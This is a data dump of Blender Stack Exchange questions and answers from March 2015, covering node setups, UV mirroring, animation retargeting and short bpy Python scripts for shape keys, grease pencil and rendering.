  <row Id="27885" PostTypeId="2" ParentId="27874" CreationDate="2015-03-30T15:33:00.520" Score="6" Body="&lt;p&gt;With material nodes, you can use the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/nodes/types/input/camera_data.html#camera-data-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Camera Data&lt;/a&gt; input to get the distance from the camera to the surface. Note that this number will be much higher than the 0-1 range you'd normally want for a color value, and the numbers get bigger the further the surface is from the camera, so you'll need to do some math to invert and scale this value to whatever works best for your scene.&lt;/p&gt;&#xA;&lt;p&gt;See the image below for a sample setup in Blender Internal, but Cycles has the Camera Data node as well.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/guZj1.png&quot; alt=&quot;Sample node setup&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="15924" LastEditDate="2020-10-21T14:52:00.310" LastActivityDate="2020-10-21T14:52:00.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27886" PostTypeId="1" AcceptedAnswerId="27888" CreationDate="2015-03-30T15:38:40.930" Score="5" ViewCount="3754" Body="&lt;p&gt;So I want to texture clothing for example that I created using the mirror modifier. But I want the 2 sides of the clothing piece to have individual designs for instance but it is not possible since the original and the mirrored surfaces use the same UV-coordinates. How can I change that?&lt;/p&gt;&#xA;" OwnerUserId="13496" LastActivityDate="2015-03-30T23:33:51.363" Title="Used mirror modifier to create an object but don't want the texture to be mirrored" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27887" PostTypeId="1" CreationDate="2015-03-30T15:45:14.510" Score="3" ViewCount="1107" Body="&lt;p&gt;I successfully retargeted a makehuman mesh (mhx) with a bvh file in blender using the python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.mcp.load_and_retarget&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to specify the number of frames to be retargeted?&#xA;By default, it retargets only 250 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bvh has 880 animated frames. I edited the default value in props.py from 250 to 880 and it works fine. But this is not an authentic solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please suggest a better solution.&lt;/p&gt;&#xA;" OwnerUserId="13497" LastEditorUserId="2217" LastEditDate="2015-03-30T16:13:53.380" LastActivityDate="2018-06-22T02:26:34.940" Title="Load and Retarget via bpy (Blender python)" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27888" PostTypeId="2" ParentId="27886" CreationDate="2015-03-30T15:49:37.667" Score="10" Body="&lt;p&gt;Here I have an image with a red squiggle on one side and blue on the other. I have a plane that is mirrored and I have enabled 'U' texture mirroring on the modifier to allow the other half of the texture to appear on the mirrored side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfJN9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your mirror axis you may want to enable 'V' mapping instead.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-30T23:33:51.363" LastActivityDate="2015-03-30T23:33:51.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27889" PostTypeId="1" CreationDate="2015-03-30T15:51:20.507" Score="4" ViewCount="6946" Body="&lt;p&gt;I need to find the number of animated frames after importing a &lt;code&gt;bvh&lt;/code&gt; file  in blender. &lt;code&gt;scene.frame_start&lt;/code&gt; and &lt;code&gt;scene.frame_end&lt;/code&gt; only returns the start and end frames in the timeline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;bvh&lt;/code&gt; file has 880 animated frames. How can I set my scene length automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please suggest a solution?&lt;/p&gt;&#xA;" OwnerUserId="13497" LastEditorUserId="3710" LastEditDate="2015-05-01T18:55:01.207" LastActivityDate="2021-05-25T07:45:53.480" Title="How to find number of animated frames in a scene via python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;keyframes&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27890" PostTypeId="1" AcceptedAnswerId="27895" CreationDate="2015-03-30T16:09:40.153" Score="10" ViewCount="17936" Body="&lt;p&gt;I have a video where I deleted the animation part and I only have the sound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to save the file it saves as &lt;code&gt;.blend&lt;/code&gt;, how can I save it as an mp3 file. I have already set the start up file to save as mp3. &lt;/p&gt;&#xA;" OwnerUserId="11541" LastEditorUserId="599" LastEditDate="2015-03-30T17:27:41.327" LastActivityDate="2017-10-13T16:15:43.830" Title="How to save an audio file" Tags="&lt;export&gt;&lt;video-sequence-editor&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27891" PostTypeId="2" ParentId="27872" CreationDate="2015-03-30T16:21:00.540" Score="1" Body="&lt;p&gt;small script to set them all to a new_value except the basic shapekey :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the object&lt;/li&gt;&#xA;&lt;li&gt;copy paste and run the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;new_value = 0.5&#xA;&#xA;for shape in bpy.context.object.data.shape_keys.key_blocks:&#xA;    if shape.name != 'Basic' :&#xA;        shape.value = new_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-30T16:21:00.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27892" PostTypeId="2" ParentId="27875" CreationDate="2015-03-30T16:29:15.660" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/nodes/types/color/rgb_curves.html#rgb-curves-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;RGB Curves&lt;/a&gt; node sounds like what you are looking for. It functions almost exactly the same way Photoshop's curves command does, so it is very useful for pushing light and/or dark values.&lt;/p&gt;&#xA;&lt;p&gt;See the image below for a quick example, where I left lighter colors (on the right) more or less unchanged, but drastically darkened anything below about the halfway threshold.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEiSS.png&quot; alt=&quot;RGB Curves node example&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The RGB Curves node is also handy for tweaking the exposure levels of a background photo/HDRI without having to modify the original file.&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="15924" LastEditDate="2020-10-21T14:52:45.490" LastActivityDate="2020-10-21T14:52:45.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27893" PostTypeId="2" ParentId="27850" CreationDate="2015-03-30T16:45:58.567" Score="3" Body="&lt;p&gt;In case you have a grease pencil drawing and want to normalize it (remove the pressure effect ) :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy and paste in the text editor&lt;/li&gt;&#xA;&lt;li&gt;click Run_Script ( all grease pencil drawings will have the same thickness )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;new_pressure = 1.0  # you can change this for different thickness  (always &amp;lt;1 ) &#xA;&#xA;for Gpencil in bpy.data.grease_pencil :&#xA;    for layer in Gpencil.layers:&#xA;        for frame in layer.frames:&#xA;            for stroke in frame.strokes:&#xA;                for p in stroke.points:&#xA;                    p.pressure = new_pressure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0jNN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-30T17:37:02.980" LastActivityDate="2015-03-30T17:37:02.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27894" PostTypeId="2" ParentId="27875" CreationDate="2015-03-30T16:51:00.363" Score="3" Body="&lt;p&gt;Since you are using the blender internal, you can easily tweak the texture colors and brightness.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the texture settings for your night texture, open up the &lt;em&gt;Color&lt;/em&gt; section. There you will find values for each of the color channels pluse &lt;em&gt;Brightness&lt;/em&gt;, &lt;em&gt;Contrast&lt;/em&gt;, and &lt;em&gt;Saturation&lt;/em&gt;.&lt;br&gt;&#xA;Because you want to darken the dark region, and keep the lights bright, start by increasing the &lt;em&gt;Contrast&lt;/em&gt;. Next, to crush the blue channel, lower the &lt;em&gt;B&lt;/em&gt; and slightly increase the &lt;em&gt;R&lt;/em&gt; and &lt;em&gt;G&lt;/em&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/uQpEw.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-30T16:51:00.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27895" PostTypeId="2" ParentId="27890" CreationDate="2015-03-30T17:03:34.340" Score="6" Body="&lt;p&gt;In &lt;em&gt;Properties &gt; Output&lt;/em&gt;, set something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLYS4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not ideal, but maybe it'll work for you..&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-30T17:03:34.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27896" PostTypeId="2" ParentId="27883" CreationDate="2015-03-30T17:16:42.133" Score="0" Body="&lt;p&gt;I have resolved this problem by checking this option &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmIi3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0haj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-03-30T17:16:42.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27897" PostTypeId="1" CreationDate="2015-03-30T17:30:03.127" Score="0" ViewCount="255" Body="&lt;p&gt;I am trying to make a script to export all my objects to individual .x files. However I don't know the operators for directX. Please tell me how I can fix this code so that it exports the directX files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.export_scene.x(filepath=str(path + ob.name + '.x'),check_existing=True)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked for .obj files.&lt;/p&gt;&#xA;" OwnerUserId="13288" LastEditorUserId="241" LastEditDate="2015-03-30T17:42:38.677" LastActivityDate="2015-03-30T17:42:38.677" Title="How to export directX in py script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27898" PostTypeId="1" CreationDate="2015-03-30T17:49:42.677" Score="1" ViewCount="1390" Body="&lt;p&gt;I am using a Makehuman model in blender, and rendering with cycles. As shown in the images below, I have used these nodes to put the texture of the tshirt on the person. There is a black spot on arm. What is the problem, how do I get rid of the black part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GYUJY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GYUJY.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result of texturing in blender&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j42uO.png&quot; alt=&quot;result of texture in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;textured model in makehuman&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hCLd0.png&quot; alt=&quot;image in makehuman&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="2217" LastEditDate="2015-03-30T17:59:50.407" LastActivityDate="2015-03-30T22:08:42.753" Title="Texture problem with Makehuman model in blender" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27899" PostTypeId="1" AcceptedAnswerId="27900" CreationDate="2015-03-30T18:32:44.233" Score="7" ViewCount="500" Body="&lt;p&gt;I've been playing recently with rigging and tried to recreate the effect of a glue or goo like material in blender with no much success (still new with it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I've added a pair of bones so I could &quot;stretch&quot; the mesh where I want using them, and what I wanted to achieve is that, when one bone displaces further from the other, the middle region shrinks (kinda like when you glue your fingers together and pull them away, the glue gets thin in the middle until it breaks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this effect achievable?&lt;/p&gt;&#xA;" OwnerUserId="13501" LastEditorUserId="5634" LastEditDate="2015-03-30T18:47:21.513" LastActivityDate="2015-03-30T18:47:21.513" Title="Glue like effect" Tags="&lt;modifiers&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27900" PostTypeId="2" ParentId="27899" CreationDate="2015-03-30T18:47:01.327" Score="12" Body="&lt;p&gt;Using the &lt;strong&gt;&lt;em&gt;stretch to&lt;/em&gt;&lt;/strong&gt; constraint on the middle bone will give the following effect :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ea9jj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the middle bone copy the location of the first with parenting (no scale)&lt;/li&gt;&#xA;&lt;li&gt;the third bone has no parent or constraint&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-30T18:47:01.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27901" PostTypeId="1" AcceptedAnswerId="28022" CreationDate="2015-03-30T18:57:51.433" Score="5" ViewCount="1077" Body="&lt;p&gt;As I can see whenever I edit F-curves of the bone it moves along its local axis. Is it possible to switch to global or are there any ways to edit curves in global? I found its difficult to edit my character movements when all of its bones are somewhat rotated and I need to precisely edit its global position change.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-04-02T20:33:26.530" Title="How to control Global transform orientation with F-curves?" Tags="&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27902" PostTypeId="1" AcceptedAnswerId="27903" CreationDate="2015-03-30T19:10:35.793" Score="2" ViewCount="275" Body="&lt;p&gt;So I have a laser-exhaust on my spaceship, coming out of the engines.&#xA;&lt;a href=&quot;https://imgur.com/wLxQHjl&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/wLxQHjl.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David already helped me variate the strength of the beam along the length, so it can taper off or remain strong along the length of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also need to variate the color along the axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm modeling it after this: &lt;a href=&quot;http://web.ccpgamescdn.com/newssystem/media/63965/1/EVE_Online_Retribution_OREFrigate.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.ccpgamescdn.com/newssystem/media/63965/1/EVE_Online_Retribution_OREFrigate.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which to be honest, I'm wondering if I need to scrap this material and try something else, but this feels above my head, I need some help.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="599" LastEditDate="2015-03-30T19:22:35.520" LastActivityDate="2015-03-30T19:22:35.520" Title="How do I variate the color along one axis?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27903" PostTypeId="2" ParentId="27902" CreationDate="2015-03-30T19:21:40.660" Score="4" Body="&lt;p&gt;Create a second color ramp node with the desired colors and plug it into the emission shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GrWNy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-30T19:21:40.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27904" PostTypeId="1" CreationDate="2015-03-30T19:49:14.887" Score="4" ViewCount="504" Body="&lt;p&gt;Situation: I have an Object that rotates (keyframed). I use Nodes and Drivers to set the objects color to blue within the first quarter of one whole rotation (90°) and red for the rest (270°).&lt;br&gt;&#xA;That is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use this Color Output (blue or red/0 or 1) to drive another objects keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to get these colors as a value which I can use as a single property in the drivers menu. But I can't seem to get any working data paths from the nodes to fit into the &quot;path: slot&quot; in the drivers panel.&lt;/p&gt;&#xA;" OwnerUserId="13503" LastEditorUserId="2217" LastEditDate="2015-03-30T20:01:19.433" LastActivityDate="2015-03-30T20:01:19.433" Title="Use value of node output for driver" Tags="&lt;nodes&gt;&lt;drivers&gt;&lt;path&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27905" PostTypeId="1" CreationDate="2015-03-30T20:30:21.680" Score="1" ViewCount="334" Body="&lt;p&gt;I'm trying to render some still images of a scene but switch the image texture using a script with the Blender command line. I made a script to set the image of an image texture node in the scene. When I run it within Blender with Run Script or run it with &lt;code&gt;--python-text&lt;/code&gt; when launching Blender from the terminal the image is set correctly, but it has no effect when I run it along as GUI-less background with &lt;code&gt;-b&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still finding my way around the API so this is the extent of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;def set_texture_image(img):&#xA;    bpy.data.objects[&quot;Cube&quot;].select = true&#xA;    mat_tree = bpy.data.objects[&quot;Cube&quot;].material_slots[0].material.node_tree&#xA;    mat_tree.nodes[&quot;Image Texture.001&quot;].image = img&#xA;&#xA;&#xA;new_image = bpy.data.images.load('//../../Pictures/cubes.png')&#xA;set_texture_image(new_image)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13506" LastActivityDate="2015-03-31T00:06:24.530" Title="Python script has no effect when running as background" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-03-31T16:00:35.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="27906" PostTypeId="1" AcceptedAnswerId="27909" CreationDate="2015-03-30T21:25:21.737" Score="7" ViewCount="1417" Body="&lt;p&gt;I want to make object transparent, but the object itself should not be visible through itself. It's in an animation that rotates it, but at a certain angle I can see parts of the object through other parts of the object, which I don't want. So object should be transparent for everything in the scene, but this object. Below I pointed with red arrows those &quot;whiter&quot; pieces that are semitransparent white over semitransparent white which I don't want to get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Zgey.png&quot; alt=&quot;Sample showing problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it have 3 materials on it (front, back and sides) and transparency + backface culling is done like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Am9Vp.png&quot; alt=&quot;Transparency&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TPpkS.png&quot; alt=&quot;Backface culling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For rendering I'm using Cycles engine and Blender 2.73.1. Is there anything I could do to make that happen? I think it got something to do with geometry settings but I have no idea what to set and how.&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="2217" LastEditDate="2015-03-30T23:54:00.670" LastActivityDate="2015-03-30T23:54:00.670" Title="Make transparent object not layer up itself" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27907" PostTypeId="1" CreationDate="2015-03-30T21:57:54.777" Score="0" ViewCount="721" Body="&lt;p&gt;I was trying to follow and recreate this tutorial / situation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=hZbcN-omvkg&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=hZbcN-omvkg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that he has using a script written in python that has recorded the keystroke and the mouse movements. Since I want to make the forest as close as possibile as it is originally,I've thought to write on a text file every keystroke and mouse movement that appears on the screen and then with some kind of script I would like that blender read the informations from the file and then it recreates the whole animation. Is this possibile ? Do you know of some script that does it ? Let me know. Thanks.  &lt;/p&gt;&#xA;" OwnerUserId="6185" LastActivityDate="2015-03-30T21:57:54.777" Title="a python script that reads keystroke and mouse movements from a file and repeats them" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27908" PostTypeId="2" ParentId="27898" CreationDate="2015-03-30T22:08:42.753" Score="3" Body="&lt;p&gt;UV map is a coordinate system that helps to wrap a 2D image around your 3D object.&#xA;You can read a little about UV's here &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/UV_Map_Basics&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/UV_Map_Basics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HzpLf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you see in white is your texture, exported from Make Human. The wires you see are your UV map. To look good they must match. I don't know how you ended up with sweeter when your character in Make Human had T-shirt, but I think this is your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it you need 1 of 2. Either edit your UV's to match the texture or edit your texture to match the UV's. You can read about the first way in the link I gave you, and you can edit the 2nd in any image editing software.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastActivityDate="2015-03-30T22:08:42.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27909" PostTypeId="2" ParentId="27906" CreationDate="2015-03-30T23:07:29.747" Score="11" Body="&lt;p&gt;You can use the transmission depth which is number of transparent points the ray has passed through, this is on the Light path node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hdxE9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result image &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLS7g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-30T23:07:29.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27910" PostTypeId="2" ParentId="27906" CreationDate="2015-03-30T23:23:26.677" Score="5" Body="&lt;p&gt;To get a material with one transparency and completely clear for the backfaces. Add together the &lt;em&gt;Backfacing&lt;/em&gt; output on the &lt;em&gt;Geometry&lt;/em&gt; node, with the &lt;em&gt;Transmission Depth&lt;/em&gt; in the &lt;em&gt;Light Path&lt;/em&gt; node.&lt;br&gt;&#xA;Use that composite as the mix factor between your color, and completely clear.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EjzsT.png&quot; alt=&quot;cycles nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will not only make faces in the same mesh invisible, but any number of objects with this material will become a solid transparent mass. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have three separate objects, no doubled up shading between any of them.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MXZsU.png&quot; alt=&quot;example render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-30T23:35:19.057" LastActivityDate="2015-03-30T23:35:19.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27911" PostTypeId="1" CreationDate="2015-03-30T23:48:29.510" Score="2" ViewCount="546" Body="&lt;p&gt;Planning a CNC milling job of for a wavy pattern I want to use on the ceiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to control the curvature for each wave blending into the next one? I would like to only build the &quot;tip&quot; of the wave and then control the curvature (the blend) on each side independently, maybe the same way you control curvature when editing vectors in Illustrator via a 'weight' parameter to manually sculpt each part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OnOn2.png&quot; alt=&quot;example wavy pattern&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13510" LastEditorUserId="13510" LastEditDate="2015-03-31T00:00:55.273" LastActivityDate="2015-03-31T02:15:58.173" Title="Best way to model a wavy pattern for CNC milling process?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27912" PostTypeId="2" ParentId="27905" CreationDate="2015-03-31T00:06:24.530" Score="2" Body="&lt;p&gt;I was missing something obvious: I need to render from within the script after I make the changes I need. &lt;a href=&quot;https://stackoverflow.com/questions/10667314/python-script-with-arguments-for-command-line-blender&quot;&gt;This exchange&lt;/a&gt; helped. Otherwise it renders the image with the command line arguments before the script is run. If I launched Blender with the script or ran the script normally I could run a render later and it worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;code&gt;bpy.ops.render.render(write_still=True)&lt;/code&gt; worked. All the render settings are set within the scene with the UI.&lt;/p&gt;&#xA;" OwnerUserId="13506" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-03-31T00:06:24.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27914" PostTypeId="1" CreationDate="2015-03-31T01:41:11.590" Score="4" ViewCount="1578" Body="&lt;p&gt;EDIT: as of yet I haven't been able to find a concrete example of someone using an addon exporter in a python script, so if any of you have that I would be very grateful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hundreds of files and I'm using a small script to standardize them and convert them to .json files for use in three.js, but I can't get the exporter to work.  It is throwing an error (evidently a different one than ImportError) at bpy.ops.wm.addon_expand(module=&quot;three&quot;) - when I mouse over the addon in the &quot;export&quot; submenu, it gives me the bpy.ops.export.three(filepath = &quot;export path&quot;) operation as how to access it, but it is still throwing errors.  Here's my testing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import addon_utils&#xA;&#xA;def main():&#xA;    cube = bpy.data.objects[1]&#xA;    bpy.ops.object.delete()&#xA;    # import&#xA;    filePath = &quot;import path&quot;&#xA;    bpy.ops.import_scene.obj(filepath=filePath)&#xA;    tablet = bpy.data.objects[1]&#xA;    # find dimensions and scale accordingly&#xA;    tabletDimensions = tablet.dimensions&#xA;    scale = min(10/tabletDimensions[0],10/tabletDimensions[1],10/tabletDimensions[2])&#xA;    # give 3dcursor new coordinates&#xA;    bpy.context.scene.cursor_location = (0.0,0.0,0.0)&#xA;    # set the origin on the current object to the 3dcursor location&#xA;    bpy.ops.object.origin_set(type='GEOMETRY_ORIGIN')&#xA;    tablet.scale = (scale,scale,scale)&#xA;    print(addon_utils.paths())&#xA;    try:&#xA;        bpy.ops.wm.addon_expand(module=&quot;three&quot;)&#xA;        bpy.ops.export.three(filepath = &quot;export path&quot;)&#xA;    except ImportError:&#xA;        print(&quot;Threejs importer addon not available&quot;)&#xA;&#xA;    #bpy.ops.mesh.primitive_uv_sphere_add(size=2,location=(5,5,5))&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11006" LastEditorUserId="11006" LastEditDate="2015-03-31T15:57:10.603" LastActivityDate="2015-12-15T16:34:11.813" Title="Using three js exporter in a python script" Tags="&lt;three.js&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
